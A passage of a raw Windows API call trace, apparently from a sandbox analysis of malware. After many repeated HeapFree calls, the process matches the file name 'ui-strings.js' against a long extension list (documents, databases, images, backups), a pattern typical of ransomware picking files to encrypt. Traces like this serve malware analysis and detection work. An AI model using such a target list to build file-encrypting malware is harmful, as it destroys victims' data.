hHeap=0x670000) returned 1 [0256.039] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0256.040] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0256.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0256.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0256.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0256.247] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0256.248] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0256.248] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0256.248] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0256.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0256.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0256.258] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0256.258] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0256.258] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0256.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0256.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0256.268] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0256.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0256.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0256.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0256.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0256.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0256.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0256.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0256.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3230048 | out: hHeap=0x670000) returned 1 [0256.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0256.858] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0256.858] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0256.887] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0256.887] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0256.902] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0256.906] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0256.906] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0256.913] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0256.913] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0256.914] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0256.915] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0256.916] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0256.917] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0256.917] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0256.922] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0256.922] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0256.923] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0256.924] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0256.924] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0256.925] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0256.925] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0256.926] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0256.927] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0256.931] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0256.932] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0257.843] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0258.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0259.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0259.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0259.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0259.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0259.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4280fb8 | out: hHeap=0x670000) returned 1 [0259.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4280fb8 | out: hHeap=0x670000) returned 1 [0259.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0259.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0259.743] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4280fb8 | out: hHeap=0x670000) returned 1 [0259.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4280fb8 | out: hHeap=0x670000) returned 1 [0259.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0259.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0259.756] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0260.084] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0260.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0260.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0260.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0260.106] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0260.119] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0260.119] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0260.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0260.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0260.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0260.185] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0260.186] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0260.186] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0260.186] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0260.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0260.360] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0260.444] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0260.444] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0260.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0260.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.282] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.291] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.322] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.324] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0261.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0261.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0261.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0261.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0261.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0261.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0261.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0261.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0261.397] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0261.398] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0261.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0261.496] lstrlenW (lpString="ui-strings.js") returned 13 [0261.496] lstrlenW (lpString=".1cd") returned 4 [0261.496] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0261.496] lstrlenW (lpString=".3ds") returned 4 [0261.496] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0261.496] lstrlenW (lpString=".3fr") returned 4 [0261.496] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0261.496] lstrlenW (lpString=".3g2") returned 4 [0261.497] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0261.497] lstrlenW (lpString=".3gp") returned 4 [0261.497] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0261.497] lstrlenW (lpString=".7z") returned 3 [0261.497] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0261.497] lstrlenW (lpString=".accda") returned 6 [0261.497] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0261.497] lstrlenW (lpString=".accdb") returned 6 [0261.497] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0261.497] lstrlenW (lpString=".accdc") returned 6 [0261.497] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0261.497] lstrlenW (lpString=".accde") returned 6 [0261.497] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0261.497] lstrlenW (lpString=".accdt") returned 6 [0261.497] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0261.497] lstrlenW (lpString=".accdw") returned 6 [0261.497] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0261.497] lstrlenW (lpString=".adb") returned 4 [0261.497] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0261.497] lstrlenW (lpString=".adp") returned 4 [0261.497] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0261.497] lstrlenW (lpString=".ai") returned 3 [0261.497] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0261.498] lstrlenW (lpString=".ai3") returned 4 [0261.498] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0261.498] lstrlenW (lpString=".ai4") returned 4 [0261.498] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0261.498] lstrlenW (lpString=".ai5") returned 4 [0261.498] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0261.498] lstrlenW (lpString=".ai6") returned 4 [0261.498] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0261.498] lstrlenW (lpString=".ai7") returned 4 [0261.498] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0261.498] lstrlenW (lpString=".ai8") returned 4 [0261.498] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0261.498] lstrlenW (lpString=".anim") returned 5 [0261.498] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0261.498] lstrlenW (lpString=".arw") returned 4 [0261.498] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0261.498] lstrlenW (lpString=".as") returned 3 [0261.498] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0261.498] lstrlenW (lpString=".asa") returned 4 [0261.498] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0261.498] lstrlenW (lpString=".asc") returned 4 [0261.498] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0261.498] lstrlenW (lpString=".ascx") returned 5 [0261.498] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0261.499] lstrlenW (lpString=".asm") returned 4 [0261.499] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0261.499] lstrlenW (lpString=".asmx") returned 5 [0261.499] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0261.499] lstrlenW (lpString=".asp") returned 4 [0261.499] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0261.499] lstrlenW (lpString=".aspx") returned 5 [0261.499] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0261.499] lstrlenW (lpString=".asr") returned 4 [0261.499] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0261.499] lstrlenW (lpString=".asx") returned 4 [0261.499] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0261.499] lstrlenW (lpString=".avi") returned 4 [0261.499] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0261.499] lstrlenW (lpString=".avs") returned 4 [0261.499] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0261.499] lstrlenW (lpString=".backup") returned 7 [0261.499] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0261.499] lstrlenW (lpString=".bak") returned 4 [0261.499] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0261.499] lstrlenW (lpString=".bay") returned 4 [0261.499] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0261.499] lstrlenW (lpString=".bd") returned 3 [0261.500] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0261.500] lstrlenW (lpString=".bin") returned 4 [0261.500] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0261.500] lstrlenW (lpString=".bmp") returned 4 [0261.500] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0261.500] lstrlenW (lpString=".bz2") returned 4 [0261.500] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0261.500] lstrlenW (lpString=".c") returned 2 [0261.500] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0261.500] lstrlenW (lpString=".cdr") returned 4 [0261.500] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0261.500] lstrlenW (lpString=".cer") returned 4 [0261.500] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0261.500] lstrlenW (lpString=".cf") returned 3 [0261.500] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0261.500] lstrlenW (lpString=".cfc") returned 4 [0261.500] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0261.500] lstrlenW (lpString=".cfm") returned 4 [0261.500] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0261.500] lstrlenW (lpString=".cfml") returned 5 [0261.500] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0261.500] lstrlenW (lpString=".cfu") returned 4 [0261.500] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0261.500] lstrlenW (lpString=".chm") returned 4 [0261.501] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0261.501] lstrlenW (lpString=".cin") returned 4 [0261.501] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0261.501] lstrlenW (lpString=".class") returned 6 [0261.501] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0261.501] lstrlenW (lpString=".clx") returned 4 [0261.501] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0261.501] lstrlenW (lpString=".config") returned 7 [0261.501] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0261.501] lstrlenW (lpString=".cpp") returned 4 [0261.501] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0261.501] lstrlenW (lpString=".cr2") returned 4 [0261.501] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0261.501] lstrlenW (lpString=".crt") returned 4 [0261.501] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0261.501] lstrlenW (lpString=".crw") returned 4 [0261.501] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0261.501] lstrlenW (lpString=".cs") returned 3 [0261.502] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0261.502] lstrlenW (lpString=".css") returned 4 [0261.502] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0261.502] lstrlenW (lpString=".csv") returned 4 [0261.502] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0261.502] lstrlenW (lpString=".cub") returned 4 [0261.502] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0261.502] lstrlenW (lpString=".dae") returned 4 [0261.502] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0261.502] lstrlenW (lpString=".dat") returned 4 [0261.502] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0261.502] lstrlenW (lpString=".db") returned 3 [0261.502] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0261.502] lstrlenW (lpString=".dbf") returned 4 [0261.502] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0261.502] lstrlenW (lpString=".dbx") returned 4 [0261.502] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0261.502] lstrlenW (lpString=".dc3") returned 4 [0261.502] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0261.502] lstrlenW (lpString=".dcm") returned 4 [0261.502] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0261.503] lstrlenW (lpString=".dcr") returned 4 [0261.503] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0261.503] lstrlenW (lpString=".der") returned 4 [0261.503] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0261.503] lstrlenW (lpString=".dib") returned 4 [0261.503] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0261.503] lstrlenW (lpString=".dic") returned 4 [0261.503] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0261.503] lstrlenW (lpString=".dif") returned 4 [0261.503] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0261.503] lstrlenW (lpString=".divx") returned 5 [0261.503] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0261.503] lstrlenW (lpString=".djvu") returned 5 [0261.503] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0261.503] lstrlenW (lpString=".dng") returned 4 [0261.503] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0261.503] lstrlenW (lpString=".doc") returned 4 [0261.503] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0261.504] lstrlenW (lpString=".docm") returned 5 [0261.504] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0261.504] lstrlenW (lpString=".docx") returned 5 [0261.504] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0261.504] lstrlenW (lpString=".dot") returned 4 [0261.504] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0261.504] lstrlenW (lpString=".dotm") returned 5 [0261.504] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0261.504] lstrlenW (lpString=".dotx") returned 5 [0261.504] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0261.504] lstrlenW (lpString=".dpx") returned 4 [0261.504] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0261.504] lstrlenW (lpString=".dqy") returned 4 [0261.504] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0261.504] lstrlenW (lpString=".dsn") returned 4 [0261.504] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0261.504] lstrlenW (lpString=".dt") returned 3 [0261.504] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0261.504] lstrlenW (lpString=".dtd") returned 4 [0261.504] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0261.504] lstrlenW (lpString=".dwg") returned 4 [0261.504] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0261.504] lstrlenW (lpString=".dwt") returned 4 [0261.505] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0261.505] lstrlenW (lpString=".dx") returned 3 [0261.505] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0261.505] lstrlenW (lpString=".dxf") returned 4 [0261.505] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0261.505] lstrlenW (lpString=".edml") returned 5 [0261.505] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0261.505] lstrlenW (lpString=".efd") returned 4 [0261.505] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0261.505] lstrlenW (lpString=".elf") returned 4 [0261.505] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0261.505] lstrlenW (lpString=".emf") returned 4 [0261.505] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0261.505] lstrlenW (lpString=".emz") returned 4 [0261.505] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0261.505] lstrlenW (lpString=".epf") returned 4 [0261.505] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0261.505] lstrlenW (lpString=".eps") returned 4 [0261.505] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0261.505] lstrlenW (lpString=".epsf") returned 5 [0261.505] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0261.505] lstrlenW (lpString=".epsp") returned 5 [0261.505] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0261.505] lstrlenW (lpString=".erf") returned 4 [0261.505] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0261.506] lstrlenW (lpString=".exr") returned 4 [0261.506] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0261.506] lstrlenW (lpString=".f4v") returned 4 [0261.506] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0261.506] lstrlenW (lpString=".fido") returned 5 